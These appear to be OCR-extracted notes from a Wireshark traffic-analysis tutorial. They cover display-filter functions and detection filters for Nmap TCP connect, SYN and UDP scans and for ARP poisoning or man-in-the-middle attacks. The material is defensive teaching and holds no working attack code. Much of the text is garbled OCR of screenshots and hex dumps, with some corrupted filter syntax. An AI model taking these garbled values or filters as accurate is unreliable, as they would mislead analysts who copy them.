/showimage . fpictures/3. jpgesize=168
/showimage . /pictures/S. jpodsize=168
/' showimage . fpictures/7T. jpgisire=168
fshowimage . /pictures/4.jpgésize=168

/showimage.,

php?file=./pictures/2.

jpg HTTP/1.1

HITP/1.1
HTTP/1.1
HITRA .1
HTTP/1.1
HTTP/1.1
HITP/1.1

18 2.884291 145.254.1068.23T7 210.239.59.99 HTTP
1680 5684154, 10.10.57.178 19.16.47.123 HTTR 415 GE
1824 5664154 10.10.57.178 10.16.47.123 HTTP 3726
4796 5084154 18.18.57.178 18.18 . 47.123 HTTE 459 GE
31117 5684154, 10.10.57.178 44.228.249.3 HTTP 417 GE
32042 5084154, 19.16.57.178 44.228.249.3 HTTP 403 GE
33777 5684155 108.18.57.178 44.278 249 3 HTTP 488
35470 56841565.. 16.10.57.178 44.228.249.3 HTTP 480
37669 2684155 15.18.57.178 A4.278.249.% HTTP 491 GE
37181 5684155, 10.10.57.178 44.228.249.3 HTTP 431 GE
37287 56B4155.. 108.16.57.178 44.228.249.3 HTTP 431 Gl
37367 5684185 16.10.%7.178 48,228 2493 HTTR 431 GE
37369 5684155.. 16.10.57.178 44.228.249.3 HTTP 431
37316 5684155.. 18.10.57.178 44.228.249.3 HTTP 431 GE
37320 5684155.. 18.10.57.178 44.228.249.3 HTTP 431 GE
33718 56B4155.. 10.16.57.178 44.228.249.3 HTTP 512
ATIRT SARATSS 1/ 18 87 1TR AR 7R 49 T HTTE Aar oF
Sequence number (raw): 951857948 -1 sa3a
[Next sequence number: 480 {relative sequence number)] Boae

Acknowledgment number: 1 (relative ack nu

Acknowledgment number (raw): 298218386

9161 .... = Header Length: 20 bytes (5)

Flags: Ex818 (PSM, ACK)

Window size value: 9650

[calculated window size: 9668]

[Window size scaling facter: -2 (no window scaling used)]

Checksum: Oxa958 [unverified]

[Checksum Status: uUnverified]

Urgent pointer: @

[SEQ/ACK analysis]

[Timestamps]

TCP paylcad (479 bytes)
Bl

Aryn = —
at/Sequence): GET /download.html HTTP/1,1N\r\n]
GET

¥ _HTTP Request-URI (http.request.uri), 14 byte(s)

25 bc a9 58 66 88 47 45

31 0d Ga

a5
41

T2
&7
30
69
e
63
63
70
T8
Zh
2d
71
69
7
2d
67
T1
63

]
65

ed
67
3e
75
3d
&1

48 6f 73 74 3a

61

G
T4
57
6f
53
2f
74
69
69
B
39
2e
67
E6
2
67
e
69

e
3a
69
Ids
3b
3z
3a
63
63
2e
2e
3
65

63 6f
28 4ad
e 54
73 28
28 72
3e 38
208 74
61 74
61 74
74 8%
74 B5
2c 63
2f 6a
71 3d
Ba 41
da 26
Gd Ba
67 3a

48
7
Bd
¥a
77

78

af
7a
74
61
a5
2e
63
Ge
63
67

54
77
8a
69
73
28
n
31
T4
e
Ge
2f
2f
&7
a7
32
8%
2d
63
Ta

Filter: "in"

58
2e
73
bc
28
2e
35
33
B
78
13
74
6C
2f
63
2a
74
73
m
fa

ac

RAEYEREIRRAIERENIEE

2d
Ba

1--Host:
ereal .co
Agent: M
.8 (Wind
Windows

en-Us; r
ecko/Ze8
ccept: t
applicat
applicat
14xml, te
q=0.9, te
ig=b.8,1
»imagesj
efgifig=s
q=0.1--A
nguage:

ig=8.0.
ncoding:

Filter in

Type Set Membership

Description Search a value or field inside of a specific scope/range.

Example Find all packets that use ports 80, 443 or 8080.

Workflow List all TCP packets where packets' "port" fields have values 80, 443 or 8080.
Usage tep.port in {80 443 8080}

| Packets: 58653 - Disolaved: 20 (0.0%) Icmments: 1 Profile; Default

TN DT S W W M e 0=
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AN ® R 2 == ¢

R ort in {60 443 BOED

40 Time
4 ©:.911316

[Checksum Status:

Source

I45. 264,168,237

Destination

65,

288.228. 2

Protocol = Length Info

533 GET /download.html HTTR/1.1

© 7 TP Request-URI (http.request.uri), 14 byta(s)

13 2.984291 145.254.168.237 216.239.59.99 HTTF 775 BET Spagead/ads?elient=ca-pub- 23091919486 736298 random=1684443
27 3.455688 216.239.59.93 145, 254.160,. 237 HTTF 214 HTTP/1.1 208 OK (text/html) 1
31117 5684154, 18.18.57.178 44.278.242.3 HTTP 417 GET / HTTP/1.1
31225 5684154 44 .228.249.3 16.16_57.178 HTTR 2625 HTTP/1.1 208 OK (text/html)
32642 5684154 16.18.57.178 44.228.249.3 HTTP 463 GET /categories.php HTTP/1.1
32664 5084154 44.228.249.3 16.16.57.178 HTTP 2813 HTTP/1.1 288 OK (text/html)
33777 5684185 168.18 .57.178 44.228.249.3 HTTP 488 GET /fartists php HTTP/1.1
33823 5684155, d44.228.249.3 18.18.57.178 HTTP 2678 HTTP/1.1 208 0K (cext/homl)
35470 5684155. 10.18,57.178 44.228.249.3 HTTR 488 GET /categorles.php HTTP/1.1
3INSE5 S68AISS. 44.228.249.3 10.18.57.178 HITR 2813 HTTRSL.1 2008 OK  (text/html)
37069 5684155., 10.18.57.178 44.228.249.3 HTTP 491 GET /listproducts.php7cat=1 HTTP/1.1
37004 5684155, 44.228.249.3 10.10.57.178 HTTR 143 HTTP/1.1 280 0K (Ctext/html)
37181 5684155. 16.18,57.178 44.228.249.3 HTTR 431 GET /showimage.php?file=./pictures/1l.jpg&size=168 HTTPA /1.1
37287 5684155, 19.1B,57.178 44.228.249.3 HTTP 431 GET /showimage.php?file=./pictures/2.jpossize=160 HTTR/1.1
37204 5EE4155. 44.228.249.3 16.18.57.178 HTTP 1516 HTTR/1.1 208 OK (JPEG JFIF image)
37302 5684155, 10.1p.57.178 44.228.249.3 HTTP 431 GET /showinage.php?file=./pictures/3.ipgisize=160 HTTR/1.1 |
i a7%A0 KAAATSE 1A 1R 57 17 A4 228 249 3 HTTE A% GET fahmaimans ahe?fila= inistiurss/R snanEsira=ifA HTTR 1 B
+ Frame 4: 533 bytes on wire (4264 bits), 533 bytes captured (4264 hits)~ BB30 25 bc a9 58 66 DO 47 45 54 28 W %--X--GE T+
+ Ethernet II, Srci Xerox P0:03:00 (00:09:01:90:00:80), Dst: fe:ff:20:86 0040 3 26 £B 74 8 20 48 54 54 50 2f 31 2¢
+ Internet Protocol Version 4, Src: 145.254,160.237, Ost: 65.208.228.2723 d 48 26 77 77 77 2@ 65 74 68 1 HOSL}
+ Transmission Control Protocol, Sfc Port: 3372, Dst Port: @0, Seq: 1, A 6% 61 6c 26 53 6f 6C @d 9a 55 73 65 72 2d  ereal.co s
P z 7 85 62 74 33 20 4d 6F Ta 69 6c 6c 61 2T 35  Agent: M [
20 28 57 69 6e 64 6f 77 73 3b 20 55 3b 28 .8 (Wind ¢
Stream index: @ Ge 64 6F 77 73 28 de 54 20 35 Ze 31 3b 28 wWindows N
[TCP Segment Len: 478) 2d 55 53 3b 20 72 76 3a 31 2e 36 29 28 47 en-US; row
Sequence number: 1 {relative sequence number) b ?F 2: 32 38 ?G 3; ?B :;1 3% 33 od 6a 41 Eck:u’?aa 4
Sequence number (raw): 951857240 gg SD I 3? £a.rd 6. g ¢4 2 L b G\c ?c eept; 1.9
" c 69 63 €1 74 69 6f Ge 2F 78 6d Gc 2c  applicat i
[Next sequence number: 488 (relative sequence number}] 70 6C 69 63 61 74 ©9 6F Ge 2T 78 68 74 6d applicac 1
Aoknowledgnents nunkiars 1 (relative agk nosber) 78 60 ¢ 2C 74 65 78 74 2f 68 74 60 6C 30 lexml,te x
Acknowledgment number (raw): 299218389 38 22 39 2c 74 68 TE 74 2f 79 8¢ 61 €9 62 g=8.0. ie »
9191 ... = Header Length: 20 bytes (5} 3d 30 2e 38 2c 69 6d 61 67 65 2T 7O 6e 67 jg=9.8,1
» Flags: Ox018 [PSH, ACK) 6d 61 67 65 2f 68 7O 65 67 2c 69 60 61 67 ,image/j |
Window size value: DEE0 67 63 66 3b 71 3d 36 28 32 2c 2a 2F 2a 3b elgif;q= F
[Calculated window size: 5660] 36 2e 31 0d Ba 41 63 63 65 7O 74 2d 4c 61 g=8.1--A ¢
[Window size scaling factor: -2 (no window scaling used)] 75 61 67 65 3a 20 65 6e 2d 75 73 2c 65 62 nguage: E
Checksum: Bxa958 [unverified] 3d 36 2e 35 6d B8 41 63 63 65 70 74 2d 45 1g=9.6-- A

Unverified] = 3 BT 64 69 62 67 3a 20 67 7a 63 7O 2c 64 65 ncoding: |~
v

| Packets: 58653 - Displayed: s8989]99.7%) - Comments: 1 Profile: DeFault

Filter: "upper"

Filter

upper

Type

Function

Description

Convert a string value to uppercase.

Example

Find all "APACHE" servers.

Workflow

Convert all HTTP packets' "server" fields to uppercase and list packets that
contain the "APACHE" keyword.

Usage

upper(http.server) contains "APACHE"
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N upper(http.server) contains "APACHE" |

0. Time Source
38 4.546968 65.208 228.723

Destination
145.254.168.23

HTTP/ XML

v [SEQFACK analysis)
v [Timestamps]
TCP payload (424 bytes)
TCP segment data (424 byres)
L [14 Rea

[Expert Info (Chat/Sequence): HTTP/1.1 288 OK\rin]
Response Version: HTTP/1.1

Status Code: 280

[Status Code Description: OK]

Response Phrase: 0K

2004 18:17:12 GMTMr\n

1
ETag: "Safla-4696-7e354b86"\r\n
Accept-Ranges: bytesirin
content-Length: 1887@\r\n
Keep-Alive: timeout=15, max=188%r\n
Connection: Keeo-Aliverin

ssembled TCP Segments (18364 bytes): #6({1386), w8(1380), F10{13
> Bl --- e = 3 i o

.

@ ¥ HTTP Server {http.server), 16 byte(s)

Praotocol * Length
478 HTTP/1

Infa

1 280 OK

Packets: S8653 . Displayed: 1 [0.0%) - &

9830 208 47 4d 54 @d @a g 6

0348 40 61 73 74 2d 4d
¥ 68 65 64 3a 20 54 75 65 2c 20 32 30
20 32 30 30 34 20 31 33 3a 31 37 3a
4d 54 0d 6a 45 54 61 67 3a 20 22 39
2d 34 38 39 30 2d 37 67 33 35 34 42
9a 41 63 63 65 70 74 2d 52 61 Ge 67
0 62 78 T4 65 73 6d 6a 43 6f Ge 74 65
65 6e 67 T4 65 3a 20 31 38 30 37 30
| 65 Te 2d 41 6C 69 TH 65 3Za 20 74 69
I 74 3d 31 35 2c 20 6d 61 78 3d 31 30
o 6f 6e 62 65 63 74 60 BF Ge 3a 20 4b
41 6o 69 76 65 Od Ba 43 OF Ge 74 65
79 78 65 38 26 74 65 78 74 2f 6B 74
63 68 61 72 73 65 74 3d 49 53 af 2d
2d 31 od 6a ed #a 3c 3f 78 6d 6c 20
69 6f 6e 3d 22 31 2e 3@ 22 20 65 Ge
Ge 67 3d 22 55 54 45 2d 38 22 3 3e
4T 43 54 59 56 45 20 68 74 6d 6c @a

Frame (478 bytes) | Reassembled TCP (18364 bytes)

6d

76
a3
fa
20

o o =
69 66 E
78 72 ded: Tue ,
20 47 2804 13 :
31 61 MT--ETag :
22 o&d -4096-7e 2
3a 20 cAccept- R
2d 4c  bytes.-C ¢
4b 85 ength: 1 g
6f 75 ep-Alive :
@a 43 t=15, ma »
76 2d onnectio r
2d 54 Alive--C ¢
3b 28 ype: tex t
35 38 charset= 1
T2 73 - -
64 68 o !
21 44 ng= £
50 55 QCTYPE h t.

1 Profile: Default

Filter:

"lower"

Filter lower
Type Function
Description Convert a string value to lowercase.
Example Find all "apache" servers.
Convert all HTTP packets' "server" fields info to lowercase and list packets
Workflow )
that contain the "apache" keyword.
Usage lower(http.server) contains "apache"
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Checksum: 8x3d97 [unverified]
[Checksum Status: Unverified]
Urgent pointer: @

+ [SEQ/ACK analysis]

v [Timestamps]
TCP payload (424 bytes)
TCP sagment data (424 bytes)

Response Version: HTTR/1.1
Status Code: 280

[Status Code Description: OK]
Response Phrase: OK

Date: Thu, 13 May 2864 10:17:12 GHTA\r\n

Last - Hod1 te, 20 Apr 2804 13:
ETag: "9a8la-4696-7e354086"\r\n
Accent -Ranges: bvtes\ri\n

¥ _HTTP Server (http.server), 16 byt

Destination
145.254.100. 237

Elle Edit View GCo Capture Analyze Statistics Telephony Wireless Tools Help

(11

Protocol ~ Leng

HITP/ XML

" [Expert Info (Chat/Sequence): HTTR/1.1 268 OK\rin]

478 HTTPS1.

1 708 0K

Filter: "string"

- GGic 28 47 4d 54 Bd Ga 53 65 72 76 65 72 3a 36 41 70 GMT - -Se 1=
0949 B1 13 74 2 96
EEEL] 72

8060 a7 2 ;
Bave d fa 54 20 \ERETag
NEB 39 2d 35 -A096-7e =
6a 41 63 63 65 70 74 2d 52 61 Ge 67 65 73 3a 20 Accept- F

B2 79 74 65 73 0d Ba 43 6T 62 74 65 62 74 2d d¢  bytes C ¢

65 e 67 74 68 3a 20 31 38 30 37 30 6d 6a 4b 65 ength: 1 E

65 76 2d 41 6c 69 76 65 3a 20 74 65 6d 65 6f 75 ep-Alive :

74 3d 31 35 2¢ 20 6d 61 78 3d 31 30 30 od Oa 43 t=15, ma »

6f Ge 6e 65 63 74 69 6F Ge 3a 20 4b 65 65 780 2d onnectio v

41 6c 69 76 65 0d ©Ga 43 6f 6e 74 65 6e 74 2d 54 Alive C ¢

79 78 65 3a 26 74 65 78 74 2f 68 74 6d 6c 3b 20 ype: tex t

63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 charset= 1

2d 31 0d Ba Pd B 3c 3f 78 6d B¢ 20 76 €5 72 73 -1 7 %

69 6f 6e 3d 22 31 2e 39 22 20 65 Be 63 6f 64 69 ion="1.8 "

Ge 67 3d 22 55 54 46 2d 38 22 3 3¢ @a 3c 21 44 ng="UTF- €
7:80 GHTAr\n 4f 43 54 59 58 45 20 88 74 6d 6c 9a 20 20 58 55 OCTYPE h 1.

' '

, T Frame (478 bytes)  Reassembled TCP (18364 bytes)
[Fackets: 56653 . Displayed: 1 {0.0%)] Comments: 1 Profile: Default

Filter string
Type Function
Description Convert a non-string value to a string.
Example Find all frames with odd numbers.
Convert all "frame number" fields to string values, and list frames end with
Workflow
odd values.
Usage string(frame.number) matches "[13579]$"
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® B

Il string(frame number) matches "[13575]5

o, = Fime
SHEEHE

Source
i)

= =

Destination

65,.268.228,223

Eille Edit View Qo Capture Analyze Statistics Telephony Wireless Jools Help

==

Protocel  Length info

8e T 5
- B8 [ACK] Seq=1 Ack=1 Win=8060 Len=8

. 9181 = Header Length: 28 bytes (5)

+ Differentiated Services Field: @x00 (DSCP: CS®, ECN: Not-ECT)
Total Length: 48
Identification: Bx8f41 (3985)

+ Flags: Bx4000, Don't fragment
Frageent offset; &
Time to live: 128
Protocol: TCP (6)
Header checksum! Bx91eb [validation disabled]
[Header checksum status: Unverified]
Source! 145.254.168.237
Destination: 65.208.228.223

+ [Source GeoIP: Stockelsdorf, DE, ASN 3268, Vodafone GmbH]

v+ [Destination GeolP: US, ASN 17338, UNITAS-AODS] )

- Transmission Control Protocol, Src Fort; 3372, Dst Port; B8, Seq: J

Source Port: 3372 =

@ ¥ Destination (ip.dst) 4 &

Wireshark: Traffic Analysis

Nmap Scans

3p.911318 145.254.168.237 TCP 54 3372
5h.472116 ©5,.208.228.223 145,254.160.237 TcP 54 BB - 3372 [ACK] Seq=1 Ack=480 Win=6432 Len=0
7h.512668 145.2%4.168.237 65.208.228, 223 TCP 54 3372 ~ 80 [ACK] Seq=480 Ack=1381 Win=9668 Len=9
9 p.012804 145.254.160.237 65,208,228, 223 =3 54 3372 — 80 [ACK] Seq=480 Ack=2761 Win=0660 Len=g
11 f.553872 65,208.228.223 145,254.168.237 TCp 1434 88 — 3372 [PSH, ACK] Seq=4141 Ack=488 Win=6432 Len=1388 [TCP
13 P.553672 145.254.160.237 145.253.2 783 ONS 89 Standard query 8x8823 A pagead?.googlesyndication.cem
15 k814846 145,.254.160.237 65.208.228,223 TCP 54 3372 - 80 [ACK] Seq=480 Ack=6901 Win=5668 Len=g
1T p.8141968 145.253.2.283 145.254.166. 237 ONS 188 Standard query response 8x0823 A pagead?.googlesyndication.co
10 p.914334 145.254.168,237 65.208.228.223 Tcp 54 3372 - 80 [ACK] Seq=480 Ack=B281 Win=59660 Len=g
21 p.a95525 65.208.228.223 145.254.160.237 TCp 1434 B8 - 3372 [PSH, ACK] Seq=9601 Ack=488 Win=6432 Len=1388 [TCP
23 p.635227 65.208.228.223 145,254.160.237 TCP 1434 BO —~ 3372 [ACK] Seq=11841 Ack=488 Win=6432 Len=1388 [TCP segm
25 B.815486 145.254.160.237 65.288.228.223 Tcp 54 3372 - 88 [ACK] Seq=488 Ack=12421 Win=9668 Len=g
27 p.ass6Rs 216.239.59.99 145,254.160.237 HTTP 244 HTTP/1.4 288 DK (text/html)
20 h.105984 65.208.228.223 145.254.160.237 ] 1434 80 - 3372 [PSH, ACK] Seq-12421 Ack=48E Win=6432 Len=1386 [TCP
31 |.226676 65.208.228.223 145.254.168.237 TP 1434 B8 - 3372 [ACK] Seq=13881 Ack=d488 Win=6432 Len=1388 [TCF segm
33 p. 356284 145,254.160,237 65,208,228, 223 Tee 54 3372 - 8@ [ACK] Seq=480 Ack=16561 Win=9668 Len=e
:15 H AQRAARS 145 254 1RA 277 AR AR 278 193 e 4 1272 . AN APK] SenzAAA Ackz17041 WinzQAAR | anch v ¥
b-|Frame 1:] 62 bytes on wire (496 bits), 62 bytes captured {496 bits) on - i fe FF 20 60 61 0O B0 B0 61 BO 60 00 DS 60 45 0O
' Ernet II, Src: Xerox €0:80:00 (96:00:01:00:00:66), Dst: fe:ff:20;00 6610 00 36 ©f 41 40 09 80 86 91 eb 91 fe ao ed JNE -0-AB -- --
- Internet Protocol Version 4, Src: 145.254.168,237, Dst: 65.206.228.223 | 6620 [MEIE od 2c 86 58 38 af fe 13 60 60 DO 66 76 B2 , P8
9100 .... = Version: 4 Gan 22 38 c3 Oc BO B9 ©2 84 @5 bd 61 91 04 62 £l

'ackets: 58653 . Displayed: 29327[50.0%) - Comments: 1 Profile: Default

Nmap is an industry-standard tool for mapping networks, identifying live hosts and discovering the

services. As it is one of the most used network scanner tools, a security analyst should identify the

network patterns created with it. This section will cover identifying the most common Nmap scan types.

¢ TCP connect scans ¢+ SYN scans

o UDP scans

It is essential to know how Nmap scans work to spot scan activity on the network. However, it is

impossible to understand the scan details without using the correct filters. Below are the base filters to

probe Nmap scan behaviour on the network.

TCP flags in a nutshell.

Notes Wireshark Filters

Global search.

® tep ® udp

* Only SYN flag. « SYN flag is
set. The rest of the bits are not

® tcp.flags==2 ® tcp.flags.syn==1

important.

* Only ACK flag. + ACK flag is
set. The rest of the bits are not

® tcp.flags==16 ® tcp.flags.ack==1

important.
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* Only SYN, ACK flags. * SYN

important.

® tcp.flags==18 ® >p.flags.syn== 1) and (tcp.flags.ack
and ACK are set. The rest of the e (topflags.syn ==1) and (tcp-flags.ac
—1
bits are not important.
* Only RST flag. « RST flag is
set. The rest of the bits are not | ® icp.flags—4® tcp.flags.reset— I

* Only RST, ACK flags. * RST
and ACK are set. The rest of the

bits are not important.

® tcp.flags==20® (tcp.flags.reset==1)and (tcp.flags.ack

=1)

* Only FIN flag « FIN flag is
set. The rest of the bits are

not important.

® tep.flags==1® tcp.flags.fin==1

TCP

TCP Connect Scan in a nutshell:

* Relies on the three-way handshake (needs to finish the handshake process).

Usually conducted with

ngommand.

¢ Used by non-privileged users (only option for a non-root user).

¢ Usually has a windows size

nature of the protocol.

1024 bytes as the request expects some data due to the

Open TCP Port Open TCP Port Closed TCP Port

ACK * ACK --> ACK -->

* SYN >« <—- SYN, | * SYN >« <-- SYN, ACK * ACK --> * RST, | * SYN > « < RST,

ACK

The images below show the three-way handshake process of the open and close TCP ports. Images

and pcap samples are split to make the investigation easier and understand each case's details.

Open TCP port (Connect):
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File Edit View Go Capture Analyze Statistics Telephony ulmls Icols .

R | Apply o display filter ... <Chd-f=

= =

The above images provide the patterns in isolated traffic. However, it is not always easy to spot the
given patterns in big capture files. Therefore analysts need to use a generic filter to view the initial

anomaly patterns, and then it will be easier to focus on a specific traffic point.

¢ The given filter shows the TCP Connect scan patterns in a capture file.

tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window size > 1024

Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Ami® "RE i3
W |tep.Aags.syn==1 and tep.Flags.ack==0 and tep.window_size=1024]

No.  Time Source } ~ Destination

SYN Scans

TCP SYN Scan in a nutshell:
* Doesn't rely on the three-way handshake (no need to finish the handshake process).
Usually conducted with Used by.-p == command.

privideged users.

Usually have a size less than or equal to 1024 bytes as the request is not finished and it doesn't
expect to receive data.

Open TCP Port Close TCP Port

34




* SYN --> ¢ <-- SYN,ACK ¢ RST--> | « SYN --> « <-- RST,ACK

Open TCP port (SYN):

Eile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
dm2®  TRE == i

R [ Apply a display filter .. <Ctri-f>

io. Time 'urce Destination Protocol .

Closed TCP port (SYN):

Eile Edit View Go Capture Analyze Statistics Telephony _w,ire Jools Help
AmaI® TRE =/ E

(W]Apply & display Filter ... <Ctrl-/»
e, source _ pestnation

The given filter shows the TCP SYN scan patterns in a capture file.

tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window size <= 1024

Eile Edit View Go Capture Analyze Statistics Telephony Wire
Ams@®@  TRE == "
N [tcp.flags.syn==1 and tcp.fiags.ack==0 and tcp.window_size <= 1024

Destination Protocol
19 a7 3 C

UDP
UDP Scan in a nutshell:

¢ Doesn't require a handshake process « No prompt for
open ports
¢ ICMP error message for close ports

Usually conducted with command.

Open UDP Port Closed UDP Port

* UDP packet --> « ICMP Type 3, Code 3 message. (Destination

» UDP packet -->
unreachable, port unreachable)
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Closed (port no 69) and open (port no 68) UDP ports:

LR

Source Destination
16.16.606.7 18. 47,

1@.10.47.123

The above image shows that the closed port returns an ICMP error packet. No further information is

provided about the error at first glance, so how can an analyst decide where this error message belongs?

¢ The ICMP error message uses the original request as encapsulated data to show the source/reason of
the packet. Once you expand the ICMP section in the packet details pane, you will see the

encapsulated data and the original request, as shown in the below image.
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=

Sourte Destination
16.10.68.7 16.10.47.123

1 €.828880008
3 397.464887228 16.19,66.7 10.18.47.123 uop
[

» Frame 1: 42 byrtes on wire (336 hits), 42 hytes captured (336 bits) on 2

B2 46 92 ec ed bd 62 6d 36 hl1 he 69 B8 BB 45 @8

+ Ethernet IT, Src: B2:6d:30:h1:h0:69, Dst: B2:45:92:ec:ed:hd 1 BB 1c 49 53 68 848 2e 11 c3 eB Ba @a 3c 67 Pa Ba
= Internet Protocol Version 4, Src: 16.10.66.7, Dst: 18.18 47.123 E 2f 7b Ba 16 00 45 00 @8 T5 ec
€160 .. = Version: 4

<e.. B101 = Header Length: 28 bytes (&)

+ Differentiated Services Field: 6x08 (DSCP: CS€, ECN: Not-ECT)
Total Length: 23
Identification: Bx4853 (13771)

v Flags: ©xpepa
Fragment offset: 8
Time to live: 46
Protocol: UDP (17)
Header checksum: 9xc3e8 [validation disabled]
[Header checksum status: Unverified]
Source: 19.10.68.7
Destination: 10.19.47.123

- User Datagram Protoctol, Src Port: 35350, Dst Port: 69

Source Port: 35358
Destination Port: 639
Length: &
Checksum: @xfsec [unverified]
[Checksum Status: Unverifled]
[Stream index: 8]

file Edit View Go Capture Analyze 3Statistics Telephony Wireless Tools Help

X @ =

fio. Time Source Destination Protecel Info

1 8.6006000000 10.10.66.7 10.16.47.123 upP 35350 - 59 Len=0

2 0.995218981 18. Destination unroachable {Pert wnreoachable)

3 397.4654887228 16.10.66.7 16.10.47.123 ucp 35357 - 68 Len=8
4 »
+ Frame 2: 78 bytes on wire (568 bhits), 76 hytes captured (568 bitc) on intpr] = B2 6d 38 b1 b9 63 A2 46 92 ec ed pd BE 688 45 cB
+ Ethernet IT  Src: B2:46:92:ec:e 2 sfd-36:.bi.ba- B8 38 de Se B8 68 40 81 1b d1 8a Pa 2f Tb Ba €a
+ Internet Protocol Version 4, Src:|16.10.47.123, Dst: 10.10.60.7 | e 3c 67 83 63 7c ac 00 66 0G0 80 45 PO 06 1c 49 53
. Internet Control Message Protocol - 0 BE 80 2e 11 c3 eB Ba Ba 3c 87 Ba Pa 2f Tb Ba 16

Type: 3 (Destination unreachable) o640 [ENEE oo 08 5 ec

Code: 3 {Port unreachahle)
Checksum: @x7cac [correct]
[Checksum Status: Good] ICMIP Packet

- Internet Protocol Version 4, Src: 16.10.66.7, Dst: 10.18.47.123
0160 .... = Version: 4
... B101 = Header Length: 20 bytes (5)
pifferentiated Services Field: Bx@88 (DSCP: €36, ECN: Not-ECT)
Total Length: 28
Identification: 8x4953 (18771)
Flags: 9xBe68
Fragment offset: @
Tine to live: 46
Protocol: UDP (17)
Header checksum: 8xc3e8 [validation disabled]
[Header checksum status: Unverified]
Source: 10.16.68.7
Destination: 16.18.47.123
- User Datagram Protocol, Src Port:[35350; DS ForT 9]
Source Port: 35350
Destination Port: 69

Length: &

Checksum: exfsec [unverified] Encapsulited
[Checksum Status: Unverified]

[Stream index: 8] data

The given filter shows the UDP scan patterns in a capture file.

icmp.type==3 and icmp.code==3

Exe :
File Edit View Go Capture Analyze Statistics Telephony wireless Tools Help

dmi@ X & =

= =

[ [icmp-type==3 and icmp.code:
| 3comxns

Mo. Time Source I Destination
5 8.008034211 16.18.47.123 10,16.60.7

unreachable)
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ARP Poisoning & Man In The Middle!

* ARP protocol, or Address Resolution Protocol (ARP), is the technology responsible for allowing

devices to identify themselves on a network.

¢ Address Resolution Protocol Poisoning (also known as ARP Spoofing or Man In The Middle
(MITM) attack) is a type of attack that involves network jamming/manipulating by sending
malicious ARP packets to the default gateway. The ultimate aim is to manipulate the "IP to
MAC address table' and sniff the traffic of the target host.

There are a variety of tools available to conduct ARP attacks. However, the mindset of the attack is

static, so it is easy to detect such an attack by knowing the ARP protocol workflow and Wireshark skills.
ARP analysis in a nutshell:

¢ Works on the local network

+ Enables the communication between MAC addresses ¢ Not a secure

protocol

* Not a routable protocol

¢ It doesn't have an authentication function

« Common patterns are request & response, announcement and gratuitous packets.

Before investigating the traffic, let's review some legitimate and suspicious ARP packets. The
legitimate requests are similar to the shown
picture: a broadcast request that asks if any of the available hosts use an IP address and a reply from the

host that uses the particular IP address.

Notes Wireshark filter

Global search ©

"ARP" options for grabbing the low-
hanging fruits: « Opcode
1: ARP requests. * Opcode

® arp.opcode 1 ® arp.opcode 2

2: ARP responses. « Hunt: Arp scanning ®

arp.dst.hw_mac==00:00:00:00:00:00 ® arp.duplicate- address-detected or
Hunt: Possible ARP poisoning _ i
arp.duplicate-address-frame ® ((arp) && (arp.opcode == 1)) &&
detection °

Hunt: Possible ARP flooding from

detection:

(arp.src.hw_mac target-mac-address)
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ARP Request !ptum Analyze Statistics Telephony Wireless Tools Help

o e il =

I

Source Destination Protocol
1 B, eeoa0eges 88:8c:20:82:18:b4 frirffrrrrrre ARP
2 B.991059831 58:78:b3:73:cd:T4 0B:6c:20:02:18:b4 ARP
‘ »
» Frame 1: 42 bytes on wire (338 bits), 42 bytes captured (336 bits) on interf Of ff fFf ff fFf ff fFf 00 Bc 29 e2 18 b4 08 66 00 01
» Ethernet II, Src: 80:0¢c:20:e2:18:b4, Dst: Ff:ff:ff:ff:Fr:ff i1 B8 90 D6 ©4 B0 ©1 98 Bc 29 e2 18 b4 cP ad 91 19
- Address Resoclution Protocel (request) : B0 90 90 ©0 60 69 c@ A8 61 91

Hardware type: Ethernet (1)

Protocol type: IPv4 (Gx88060)

Hardware size: &

Protocol size: 4

poode: request (1)

Sender MAC address: 90:8c:20:e2:18:b4
Sender IP address: 192.168.1.25
Target MAC address: 90:680:009:80:00:88
Target IP address: 192.168.1.1

ARP RCD'Y !ptur! Analyze Statistics Telephony Wireless Toels Help

AE 2@ TRE =

iNo. Time Source Destination Protocol  Info
1 8.068600008 2 d Fr:ff L E Who has 192.168.1.17 Tell 192.188.1.25

2 6.861859831 ¥ $ = LT 182 168.1.1 is at 56:78:b3:f3:cd:f4

1 L

» Frame 2: 60 bytes on wire (486 bits), 60 bytes captured (480 bits) on interf ooc 96 ©c 29 €2 18 b4 59 78 b3 T3 cd T4 €8 66 00 61

» Ethernet II, Src: 58:78:b3:f3:cd:f4, DsC: ©9:8¢c:209:82:18:b4 98 66 86 B4 00 B2 S8 78 b3 3 cd T4 co a8 o1 @1

- Address Resolution Protocol (reply) B8 8c 29 e2 18 bd c@ A8 81 19 80 60 00 60 00 6O
Hardware Lype: Ethernet (1) 00 60 08 60 08 00 00 0O 00 60 00 @9

Protocol type: IPvd4 (@x8B8e8)

Hardware size: 6

Protocol size: 4

Opcode: reply (2)

sender MAC address: 509:78:b3:T3:cd:fa
Sender IF address: 192.168.1.1

Target MAC address: 809:6c:29:e2:18:b4
Target IP address: 192.168.1.25

A suspicious situation means having two different ARP responses (conflict) for a particular IP

address.

In that case, Wireshark's expert info tab warns the analyst. However, it only shows the second
occurrence of the duplicate value to highlight the conflict. Therefore, identifying the malicious

packet from the legitimate one is the analyst's challenge. A possible IP spoofing case is shown in

the picture

below.
File Edit View Go Capture Anal £ i lephony Wireless Tools Help
Am2® «TRB - i

pio.  Time Source § i Destination Protocol info . § -
1 0.60e086088 BE:0ci29ie2:18: b4 50:78:b3:73:cd: T4 ARP Who has 192.168.1.17 Tell 192.168.1.25
. 2 B.601271581 58:78:b3:T3:cd: 4 B80:8c:29:e2:18:04 ARP 182.168.1.1 is at 58:78:b3:f3:cd:f4

3 B.383554684 B9:0c:20:e2:18: b4 BB ECI29:898:CcV a8 182.168.1.1 1s af ©9:8c:295e2

v Frame 3: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface ethe, id @ Jeus @e oc 29 94
+ Ethernet II, Src: ©9:8c:29;e2:18:b4, Dst: B0:0c:29:98:c7:aB 5] 66 00 06 04
- Address Resolution Protocol (reply) 1§28 B9 Bc 29 9A

Hardware type: Ethernet (1)

Protocol type: IPv4 (6x0808)

Hardware size: 6

Protocol size: 4

Opcode: reply (2}

Sender MAC address: 00:8c:29;e2:18:b4

Sender IP address: 192.168.1.1

Target MAC address: 06:0c:29:98:c7:a8

Target IP address: 192.168.1.12

